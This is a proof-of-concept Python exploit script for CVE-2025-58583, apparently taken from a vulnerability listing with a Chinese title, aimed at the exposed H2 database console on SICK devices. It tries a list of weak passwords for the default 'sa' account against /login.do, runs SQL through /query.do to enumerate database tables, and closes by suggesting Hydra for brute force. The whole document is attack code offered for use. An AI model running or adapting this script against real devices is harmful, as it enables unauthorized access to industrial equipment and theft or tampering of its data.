CVE-2025-58583 SICK产品H2数据库控制台未授权访问漏洞

# CVE-2025-58583 PoC - SICK H2 Database Console Unauthorized Access # This PoC demonstrates how to access the exposed H2 database console import requests import sys from urllib.parse import urljoin TARGET_URL = "http://target-sick-device:8082" # Username is prefilled in the vulnerable application KNOWN_USERNAME = "sa" # H2 default username, may vary by SICK product configuration def try_login(target_url, username, password): """Attempt to login to H2 database console""" login_url = urljoin(target_url, "/login.do") # H2 console login parameters data = { "language": "en", "setting": "Generic+H2+" + username, "name": username, "password": password, "session": "", "url": "jdbc:h2:./cache", "driver": "org.h2.Driver" } try: response = requests.post(login_url, data=data, timeout=10) if response.status_code == 200 and "login.jsp" not in response.url: print(f"[+] Login successful with password: {password}") return True return False except Exception as e: print(f"[-] Error: {e}") return False def execute_sql(target_url, sql_query): """Execute SQL query against the H2 database""" query_url = urljoin(target_url, "/query.do") params = { "sql": sql_query } try: response = requests.get(query_url, params=params, timeout=10) return response.text except Exception as e: print(f"[-] Error executing query: {e}") return None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Known username: {KNOWN_USERNAME}") # Common weak passwords to try weak_passwords = ["", "sa", "password", "admin", "123456", "h2", "cache"] for pwd in weak_passwords: if try_login(TARGET_URL, KNOWN_USERNAME, pwd): print("[+] Attempting to enumerate tables...") result = execute_sql(TARGET_URL, "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC'") print(f"[+] Tables: {result}") break else: print("[-] Could not login with common passwords") print("[*] Consider using brute-force tools like Hydra") if __name__ == "__main__": main()